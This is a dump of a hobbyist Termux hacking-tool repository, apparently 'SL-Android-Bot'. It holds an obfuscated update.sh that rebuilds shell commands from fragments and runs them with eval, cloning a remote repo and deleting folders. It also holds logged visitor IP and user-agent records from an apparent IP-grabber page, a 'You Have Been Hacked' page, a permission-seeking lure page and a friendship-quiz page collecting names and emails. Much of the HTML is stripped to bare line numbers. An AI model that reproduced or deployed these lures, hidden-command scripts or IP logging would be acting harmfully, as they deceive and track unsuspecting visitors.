├── server └── Bot.py ├── temp └── Ty.py ├── lib ├── Add │ └── add.py ├── data │ ├── Ty.py │ ├── res │ │ ├── file.py │ │ └── xml │ │ │ ├── cv.py │ │ │ └── temp.zip │ ├── resourc │ │ └── conect.py │ ├── lib │ │ └── index.js │ ├── teams-logo.png │ ├── reference.md │ ├── ip.php │ └── index.php ├── decrypt.py ├── version.txt ├── host │ └── files │ │ └── data │ │ └── seed │ │ └── Ty.py ├── tempfiles │ └── Temp.py ├── ip.txt ├── zshrc ├── ip.php ├── update.sh └── index.php ├── bot.py ├── ownbot.py ├── requirements.py ├── index.php ├── template.php ├── ip.txt ├── README.md ├── Custom.html ├── index.js └── index2.html /server/Bot.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /temp/Ty.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/Add/add.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/data/Ty.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/data/res/file.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/data/res/xml/cv.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/decrypt.py: -------------------------------------------------------------------------------- 1 | tgjhh 2 | -------------------------------------------------------------------------------- /lib/version.txt: -------------------------------------------------------------------------------- 1 | 2.0v 2 | -------------------------------------------------------------------------------- /lib/data/resourc/conect.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/data/lib/index.js: -------------------------------------------------------------------------------- 1 | connected ; 2 | -------------------------------------------------------------------------------- /lib/host/files/data/seed/Ty.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/tempfiles/Temp.py: -------------------------------------------------------------------------------- 1 | version 1.0 2 | -------------------------------------------------------------------------------- /bot.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RazorKenway/SL-Android-Bot/HEAD/bot.py -------------------------------------------------------------------------------- /ownbot.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RazorKenway/SL-Android-Bot/HEAD/ownbot.py -------------------------------------------------------------------------------- /requirements.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RazorKenway/SL-Android-Bot/HEAD/requirements.py -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /lib/data/teams-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RazorKenway/SL-Android-Bot/HEAD/lib/data/teams-logo.png -------------------------------------------------------------------------------- /lib/data/res/xml/temp.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RazorKenway/SL-Android-Bot/HEAD/lib/data/res/xml/temp.zip -------------------------------------------------------------------------------- /template.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /ip.txt: -------------------------------------------------------------------------------- 1 | IP: 175.157.194.6 2 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/13.0 Chrome/83.0.4103.106 Safari/537.36 -------------------------------------------------------------------------------- /lib/ip.txt: -------------------------------------------------------------------------------- 1 | IP: 175.157.194.6 2 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/13.0 Chrome/83.0.4103.106 Safari/537.36 -------------------------------------------------------------------------------- /lib/zshrc: -------------------------------------------------------------------------------- 1 | . /data/data/com.termux/files/usr/etc/profile 2 | command_not_found_handler() { 3 | /data/data/com.termux/files/usr/libexec/termux/command-not-found $1 4 | } 5 | #set nomatch so *.sh would not error if no file is available 6 | setopt +o nomatch 7 | . /data/data/com.termux/files/usr/etc/profile 8 | PS1='::' -------------------------------------------------------------------------------- /lib/data/reference.md: -------------------------------------------------------------------------------- 1 | # Reference 2 | 3 | Objects are **never copied**. They are passed around by reference. 4 | 5 | ```js 6 | // Imagine I had a pizza 7 | var myPizza = { slices: 5 }; 8 | // And I shared it with You 9 | var yourPizza = myPizza; 10 | // I eat another slice 11 | myPizza.slices = myPizza.slices - 1; 12 | var numberOfSlicesLeft = yourPizza.slices; 13 | // Now We have 4 slices because myPizza and yourPizza 14 | // reference to the same pizza object. 15 | var a = {}, 16 | b = {}, 17 | c = {}; 18 | // a, b, and c each refer to a 19 | // different empty object 20 | a = b = c = {}; 21 | // a, b, and c all refer to 22 | // the same empty object 23 | ``` 24 | -------------------------------------------------------------------------------- /lib/ip.php: -------------------------------------------------------------------------------- 1 | pkg update && pkg upgrade 10 | 11 | >pkg install python 12 | 13 | >pkg install python2 14 | 15 | >pkg install git 16 | 17 | >pkg install nano 18 | 19 | >pkg install php 20 | >git clone https://github.com/RazorKenway/SL-Android-Bot.git 21 | 22 | >cd SL-Android-Bot 23 | 24 | >python requirements.py 25 | 26 | >python bot.py 27 | 28 | >npm install 29 | 30 | >node index.js 31 | 32 | 33 | 34 | 35 | 36 | # Welcome To SL Android Youtube Channel 37 | 38 | 💢 Disclaimer 💢 39 | SL ANDROID Channel Doesn't Promote & Encourage Any illegal Activities, SL ANDROID YouTube Channel All Contents Only Provided by Education &Purpose Only. Thanks for watching. 40 | 41 | 🔗 Follow Us On Facebook Page https://www.facebook.com/SLAndroidD/ 42 | 43 | 🔗 Join Facebook Group https://www.facebook.com/groups/277920623081269/ 44 | 45 | 🔗 Follow Us On Instagram https://www.instagram.com/sl_android_official/ 46 | 47 | 🔗 Subscribe My youtube Channel https://www.youtube.com/c/SLAndroid 48 | 49 | ## Thak you very mutch 50 | -------------------------------------------------------------------------------- /lib/update.sh: -------------------------------------------------------------------------------- 1 | z=" 2 | ";ZBz='$p "';Ez='32m'\''';nz='mv E';vBz='sh "';Qz='clon';RBz='m No';cBz='ase ';bz='-Ban';yz='rm -';jBz='👇"';YBz='"';JBz='as S';hBz='mand';vz='s/ho';Pz='git ';hz='w';eBz=' Now';Xz='orKe';Iz='34m'\''';nBz=' ';kz='ye-B';Tz='//gi';IBz='ol w';mz='r';XBz='ile ';pBz='Evil';uBz='h sl';rz='/com';Yz='nway';rBz='Bann';uz='file';Az='r='\''\';kBz='$lb ';Wz='/Raz';tz='mux/';Jz='p='\''\';Oz=''\''';VBz='oid.';gz='r ne';ABz='rf E';TBz='n sl';Zz='/Evi';HBz='m To';mBz='1m ';LBz='ssfu';tBz=' bas';lz='anne';UBz='andr';lBz='"\e[';FBz=' -e ';Fz='y='\''\';wz='me/n';xz='ew';SBz='w ru';OBz='ted.';bBz=' ple';Gz='33m'\''';Bz='e[1;';Cz='31m'\''';WBz='sh f';az='lEye';Lz='lb='\''';cz='ner.';BBz='cd n';Vz='.com';sBz='er ';Sz='tps:';pz='ata/';iBz='s 👇';iz='cd E';aBz='m ';qz='data';Dz='g='\''\';qBz='Eye-';CBz='me';fz='mkdi';KBz='ucce';Nz=';36m';dz='git';Rz='e ht';MBz='lly ';sz='.ter';dBz='type';Hz='b='\''\';jz='vilE';Uz='thub';Mz='\e[1';NBz='Upda';gBz='s Co';GBz='$y "';Kz='35m'\''';PBz='... ';ez='cd';oz='r /d';EBz='echo';fBz=' Thi';oBz=' cd ';DBz='rf n';QBz='😎 "'; 3 | eval "$Az$Bz$Cz$z$Dz$Bz$Ez$z$Fz$Bz$Gz$z$Hz$Bz$Iz$z$Jz$Bz$Kz$z$Lz$Mz$Nz$Oz$z$Pz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Xz$Yz$Zz$az$bz$cz$dz$z$ez$z$fz$gz$hz$z$iz$jz$kz$lz$mz$z$nz$jz$kz$lz$oz$pz$qz$rz$sz$tz$uz$vz$wz$xz$z$ez$z$yz$ABz$jz$kz$lz$mz$z$BBz$xz$z$nz$jz$kz$lz$oz$pz$qz$rz$sz$tz$uz$vz$CBz$z$ez$z$yz$DBz$xz$z$EBz$FBz$GBz$Mz$HBz$IBz$JBz$KBz$LBz$MBz$NBz$OBz$PBz$QBz$z$EBz$z$EBz$FBz$GBz$Mz$RBz$SBz$TBz$UBz$VBz$WBz$XBz$YBz$z$EBz$FBz$ZBz$Mz$aBz$bBz$cBz$dBz$eBz$fBz$gBz$hBz$iBz$jBz$z$EBz$FBz$kBz$lBz$mBz$nBz$oBz$YBz$z$EBz$FBz$kBz$lBz$mBz$nBz$oBz$pBz$qBz$rBz$sBz$YBz$z$EBz$FBz$kBz$lBz$mBz$nBz$tBz$uBz$UBz$VBz$vBz" -------------------------------------------------------------------------------- /Custom.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 76 | 77 | 78 |

Hint: Look at the favicon

79 |

(Accept Permissions)

80 |

81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /lib/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 48 | 49 | 52 |

You Have Been Hacked !!!

53 |

by Razor Kenway

54 |

55 | 57 | 58 | 59 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /lib/data/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 48 | 49 | 52 |

You Have Been Hacked !!!

53 |

by Razor Kenway

54 |

55 | 57 | 58 | 59 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | let { WAConnection: _WAConnection, WA_MESSAGE_STUB_TYPES } = require('@adiwajshing/baileys') 2 | let { generate } = require('qrcode-terminal') 3 | let simple = require('./lib/simple') 4 | let yargs = require('yargs/yargs') 5 | let syntaxerror = require('syntax-error') 6 | let chalk = require('chalk') 7 | let fs = require('fs') 8 | let path = require('path') 9 | let util = require('util') 10 | let WAConnection = simple.WAConnection(_WAConnection) 11 | global.conn = new WAConnection() 12 | global.timestamp = { 13 | start: new Date 14 | } 15 | 16 | let opts = yargs(process.argv.slice(2)).exitProcess(false).parse() 17 | global.prefix = new RegExp('^[' + (opts['prefix'] || '\\/i!#$%\\-+£¢€¥^°=¶∆×÷π√✓©®:;?&.') + ']') 18 | 19 | global.DATABASE = new (require('./lib/database'))(opts._[0] ? opts._[0] + '_' : '' + 'database.json', null, 2) 20 | if (!global.DATABASE.data.users) global.DATABASE.data = { 21 | users: {}, 22 | groups: {} 23 | } 24 | 25 | let authFile = `${opts._[0] || 'session'}.data.json` 26 | fs.existsSync(authFile) && conn.loadAuthInfo(authFile) 27 | opts['big-qr'] && conn.on('qr', qr => generate(qr, { small: false })) 28 | conn.on('credentials-updated', () => fs.writeFileSync(authFile, JSON.stringify(conn.base64EncodedAuthInfo()))) 29 | 30 | conn.handler = async function (m) { 31 | try { 32 | simple.smsg(this, m) 33 | m.exp = 1 34 | if (!m.fromMe && opts['self']) return 35 | if (!m.text) return 36 | if (m.isBaileys) return 37 | try { 38 | global.DATABASE.load() 39 | if (global.DATABASE._data.users[m.sender]) { 40 | if (typeof global.DATABASE._data.users[m.sender].exp == 'number' && 41 | !isNaN(global.DATABASE._data.users[m.sender].exp) 42 | ) global.DATABASE._data.users[m.sender].exp++ 43 | else global.DATABASE._data.users[m.sender].exp = 1 44 | } else global.DATABASE._data.users[m.sender] = { 45 | exp: 1 46 | } 47 | } catch (e) { 48 | console.log(e, global.DATABASE.data) 49 | } finally { 50 | global.DATABASE.save() 51 | } 52 | let usedPrefix 53 | for (let name in global.plugins) { 54 | let plugin = global.plugins[name] 55 | if (!plugin) continue 56 | let _prefix = plugin.customPrefix ? plugin.customPrefix : conn.prefix ? conn.prefix : global.prefix 57 | if ((usedPrefix = (_prefix.exec(m.text) || '')[0])) { 58 | let args = m.text.replace(usedPrefix, '').split` `.filter(v=>v) 59 | let command = (args.shift() || '').toLowerCase() 60 | let isOwner = m.fromMe 61 | let isAccept = plugin.command instanceof RegExp ? plugin.command.test(command) : 62 | plugin.command instanceof Array ? plugin.command.includes(command) : 63 | plugin.command instanceof String ? plugin.command == command : false 64 | if (!isAccept) continue 65 | let isMods = isOwner || global.mods.includes(m.sender) 66 | let isPrems = isMods || global.prems.includes(m.sender) 67 | let participants = m.isGroup ? (await this.groupMetadata(m.chat)).participants : [] 68 | let user = m.isGroup ? participants.filter(u => u.jid == m.sender)[0] : {} 69 | let bot = m.isGroup ? participants.filter(u => u.jid == this.user.jid)[0] : {} 70 | let isAdmin = user.isAdmin || user.isSuperAdmin || false 71 | let isBotAdmin = bot.isAdmin || bot.isSuperAdmin || false 72 | let fail = plugin.fail || global.dfail 73 | if (plugin.owner && !isOwner) { 74 | fail('owner', m, this) 75 | continue 76 | } 77 | if (plugin.mods && !isMods) { 78 | fail('mods', m, this) 79 | continue 80 | } 81 | if (plugin.premium && !isPrems) { 82 | fail('premium', m, this) 83 | continue 84 | } 85 | if (plugin.group && !m.isGroup) { 86 | fail('group', m, this) 87 | continue 88 | } else if (plugin.botAdmin && !isBotAdmin) { 89 | fail('botAdmin', m, this) 90 | continue 91 | } else if (plugin.admin && !isAdmin) { 92 | fail('admin', m, this) 93 | continue 94 | } 95 | if (plugin.private && m.isGroup) { 96 | fail('private', m, this) 97 | continue 98 | } 99 | 100 | m.isCommand = true 101 | m.exp += 'exp' in plugin ? parseInt(plugin.exp) : 10 102 | await plugin(m, { usedPrefix, args, command, conn: this }).catch(e => this.reply(m.chat, util.format(e), m)) 103 | break 104 | } 105 | } 106 | } finally { 107 | //console.log(global.DATABASE._data.users[m.sender]) 108 | if (m && m.sender && global.DATABASE._data.users[m.sender]) { 109 | global.DATABASE._data.users[m.sender].exp += m.exp 110 | } 111 | try { 112 | await global.DATABASE.save() 113 | require('./lib/print')(m, this) 114 | } catch (e) { 115 | console.log(m, e) 116 | } 117 | } 118 | } 119 | 120 | conn.on('message-new', conn.handler) 121 | conn.on('error', conn.logger.error) 122 | global.mods = [] 123 | global.prems = [] 124 | 125 | global.dfail = (type, m, conn) => { 126 | let msg = { 127 | owner: 'This command can only be used by the Number Owner!', 128 | mods: 'This command can only be used by Moderators!', 129 | premium: 'This command is only for Premium members!', 130 | group: 'This command can only be used in Groups!', 131 | private: 'This command can only be used in Private Chats!', 132 | admin: 'This command is for group admins only!', 133 | botAdmin: 'Make the bot as admin to use this command!' 134 | }[type] 135 | msg && conn.reply(m.chat, msg, m) 136 | } 137 | 138 | !opts['test'] && conn.connect().then(() => { 139 | global.timestamp.connect = new Date 140 | }) 141 | opts['test'] && process.stdin.on('data', chunk => conn.emit('message-new', { text: chunk.toString() })) 142 | process.on('uncaughtException', console.error) 143 | // let strQuot = /(["'])(?:(?=(\\?))\2.)*?\1/ 144 | 145 | let pluginFilter = filename => /\.js$/.test(filename) 146 | global.plugins = Object.fromEntries( 147 | fs.readdirSync(path.join(__dirname, 'plugins')) 148 | .filter(pluginFilter) 149 | .map(filename => [filename, {}]) 150 | ) 151 | for (let filename in global.plugins) { 152 | try { 153 | global.plugins[filename] = require('./plugins/' + filename) 154 | } catch (e) { 155 | conn.logger.error(e) 156 | delete global.plugins[filename] 157 | } 158 | } 159 | console.log(global.plugins) 160 | fs.watch(path.join(__dirname, 'plugins'), (event, filename) => { 161 | if (pluginFilter(filename)) { 162 | let dir = './plugins/' + filename 163 | if (delete require.cache[require.resolve(dir)]) { 164 | if (fs.existsSync(require.resolve(dir))) conn.logger.info(`re - require plugin '${dir}'`) 165 | else { 166 | conn.logger.warn(`deleted plugin '${dir}'`) 167 | return delete global.plugins[filename] 168 | } 169 | } else conn.logger.info(`requiring new plugin '${dir}'`) 170 | let err = syntaxerror(fs.readFileSync(dir)) 171 | if (err) conn.logger.error(`syntax error while loading '${dir}'\n${err}`) 172 | else try { 173 | global.plugins[filename] = require(dir) 174 | } catch (e) { 175 | conn.logger.error(e) 176 | } 177 | } 178 | }) 179 | -------------------------------------------------------------------------------- /index2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 15 | 16 | 17 | 18 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 2020 Friendship Dare 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 |
231 | 232 |
233 | 234 | 2020 Friendship Dare 235 |
236 | 237 | 238 |
239 |
240 | 241 | 242 | 243 |
244 | 245 |
246 |
247 | 248 |
249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 |
257 | 258 | 259 |
260 |
261 |
262 | 263 |
264 | 269 |
270 |
271 | 272 | 304 | 305 | 306 | 307 | 312 | 313 | 314 | 318 | 319 | 323 | 324 |
325 |
326 | 327 |
328 |

329 | 330 | 2020 Friendship Dare 331 | 332 |

333 |
334 | 335 |
336 | 339 | 340 | 344 |
345 | 346 | 347 |
348 | 351 | 352 | 353 |
354 | 355 |
356 | 👉  Start  👈 357 |
358 | 359 |
360 |
361 | 362 | 363 | 1284 | 1285 | 1346 | 1347 |
1348 |
1349 | 1350 | 1351 | 1352 |
1353 |
1354 | 1355 |
1356 |
1357 | 1358 | 1359 |

Select your Country, Enter your Name, Email, Create your Quiz and Share it with your friends on Facebook or Whatsapp. Once your friends attempt the quiz you will see the results on leaderboard.

1360 |
1361 |
1362 | 1363 | 1364 |
1365 |
1366 | 1367 | 1368 | 1369 |